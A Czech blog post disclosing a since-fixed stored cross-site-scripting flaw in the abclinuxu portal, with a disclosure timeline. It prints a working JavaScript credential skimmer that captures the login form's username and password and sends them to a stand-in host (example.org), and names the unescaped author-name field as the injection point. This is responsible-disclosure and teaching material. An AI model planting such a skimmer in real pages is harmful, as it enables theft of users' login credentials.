Michal Čihař - Jak ukrást hesla uživatelům abclinuxu?

Jak ukrást hesla uživatelům abclinuxu?

Když tak řeším bezpečností chyby v phpMyAdminovi, napadlo mě jak jsou proti podobným věcem zabezpečené portály. Protože dost často používám abclinuxu, tak přišlo první na mušku :-).

Předem podotýkám, že tento článek byl nejdříve dán k dispozici adminům, takže doufám, že v době zveřejnění už není možné toto provést.

Většina prohlížečů dnes umí javascript, který se dá dělat spousta zajímavých věcí. Třeba přidat javascript na obsluhu nějaké událost nebo posílat XML HTTP requesty . Bystřejším již možná dochází, že pokud si můžu vložit vlastní javascript, není žádný problém odchytit odesílání přihlašovacího formuláře. Kdo nevěří, může si zkusit následující ukázku (ta heslo jenom zobrazí, ale to už je jenom detail):

 <script type="text/javascript">
<!--
function process() {
    p = document.getElementById('pwd').value;
    u = document.getElementById('usr').value;
    document.getElementById('ls_prepinac').innerHTML = 
        '<img src="http://example.org/?u=' + 
        u + '&p;=' + p + '"/>';
    window.alert('odeslano na example.org:\npass: ' + 
        p + '\n' + 'user: ' + u);
}
function load() {
    frm = document.forms[0];
    frm.onsubmit = process;
}
window.onload = load;
//-->
</script>

<div id="ls_prepinac">xx</div>
<form method="post">
<input type="text" name="u" id="usr">
<input type="password" name="p" id="pwd">
<input type="submit">
</form>

Teď už jenom zbývá jak dostat vlastní javascript na logovací stránku. Protože je samostatná, tak jediná věc, která je tam vidět z uživatelem ovlivnitelného obsahu jsou zprávičky. Obsah zpráviček je (aspoň v to doufám) kontrolován na dovolené html, ale ještě nám zbývá jeden zajímavý prvek. Tím je naše jméno, tam si můžeme napsat cokoliv co chceme, včetně javascriptu. Tak teď už jen zbývá doufat, že to moc lidí nezrealizovalo :-). Napsat zprávičku, která bude schválena až takový problém není a pak už je dílo dokonáno.

Jaké je řešení? Nedovolovat nikde javascript, dá se použít k mnoha nebezpečným věcem.

Stav chyby:

  • 2.5.2006 12:56 - oznámeno
  • 2.5.2006 13:14 - Leoš tvrdí že při zadání kontroluje <
  • 2.5.2006 13:26 - ukazuju mu že nekontroluje (kdo si v té době všiml "x" u mého jména, má 10 bodů za všímavost :-))
  • 2.5.2006 13:45 - Leoš uznává, že kontrola neexistuje
  • 2.5.2006 21:53 - opraveno